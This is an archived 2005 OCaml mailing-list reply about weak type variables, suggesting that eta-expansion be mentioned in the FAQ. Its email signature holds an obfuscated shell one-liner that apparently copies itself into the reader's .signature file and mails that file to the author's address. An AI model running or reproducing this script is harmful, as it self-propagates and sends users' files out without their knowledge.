From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Delivered-To: caml-list@yquem.inria.fr Received: from nez-perce.inria.fr (nez-perce.inria.fr [192.93.2.78]) by yquem.inria.fr (Postfix) with ESMTP id 4F060BC88 for ; Thu, 3 Feb 2005 08:42:01 +0100 (CET) Received: from pauillac.inria.fr (pauillac.inria.fr [128.93.11.35]) by nez-perce.inria.fr (8.13.0/8.13.0) with ESMTP id j137g0qE024855 for ; Thu, 3 Feb 2005 08:42:00 +0100 Received: from nez-perce.inria.fr (nez-perce.inria.fr [192.93.2.78]) by pauillac.inria.fr (8.7.6/8.7.3) with ESMTP id IAA24139 for ; Thu, 3 Feb 2005 08:42:00 +0100 (MET) Received: from grisu.bik-gmbh.de (grisu.bik-gmbh.de [217.110.154.194]) by nez-perce.inria.fr (8.13.0/8.13.0) with ESMTP id j137fwmk024824 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 3 Feb 2005 08:41:59 +0100 Received: from [192.168.125.193] ([192.168.125.193]) by grisu.bik-gmbh.de (8.12.11/8.12.11) with ESMTP id j137fqMW058705; Thu, 3 Feb 2005 08:41:52 +0100 (CET). Message-ID: <4201D5BA.1070508@hars.de> Date: Thu, 03 Feb 2005 08:41:46 +0100 From: Florian Hars User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.3) Gecko/20040924 Debian/1.7.3-1ubuntu1 X-Accept-Language: en MIME-Version: 1.0 To: Jacques Garrigue Cc: hamburg@fas.harvard.edu, caml-list@inria.fr Subject: Re: [Caml-list] '_a References: <1448756C-6FF9-11D9-8411-0003939A19AA@fas.harvard.edu> <20050127.095119.88330421.garrigue@math.nagoya-u.ac.jp> In-Reply-To: <20050127.095119.88330421.garrigue@math.nagoya-u.ac.jp> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Miltered: at nez-perce with ID 4201D5C8.001 by Joe's j-chkmail (http://j-chkmail.ensmp.fr)! X-Miltered: at nez-perce with ID 4201D5C6.000 by Joe's j-chkmail (http://j-chkmail.ensmp.fr)! X-Spam: no; 0.00; florian:01 hars:01 florian:01 hars:01 caml-list:01 wrote:01 val:01 val:01 checker:01 polymorphism:01 checker:01 polymorphic:01 faq:01 bin:01 jacques:01 X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on yquem.inria.fr X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=disabled version=3.0.2 X-Spam-Level: Jacques Garrigue wrote: > From: Mike Hamburg >># let b = let f x () = [|x|] in f [];; >>val b : unit -> '_a list array = > > but your second fails, because array is not [covariant] (you may > assign to an array, and you would have to look at the code to see that > each call to b creates a different array) Of course, in this case the usual trick of some greek letter-expansion (was it eta?) works: # let b () = let f x () = [|x|] in f [] ();; val b : unit -> 'a list array = Maybe this should be mentioned in the "A type variable starts with _?" part of the FAQ, like: | In this case the type checker errs on the conservative side, as the function | map_id could be fully polymorphic. This is caused by the fact that the | definition is given in the so called eta-reduced form, and you can recover | the full polymorphism by giving it in eta-expanded form, which the type | checker handles more gracefully: | | # let map_id l = List.map (function x -> x) l;; | val map_id : 'a list -> 'a list = Yours, Florian. -- #!/bin/sh - set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\ angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;znvy sKunef.qr<$3\ &&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svtangher bs Obet.'"|$1|`$4 $2|$1`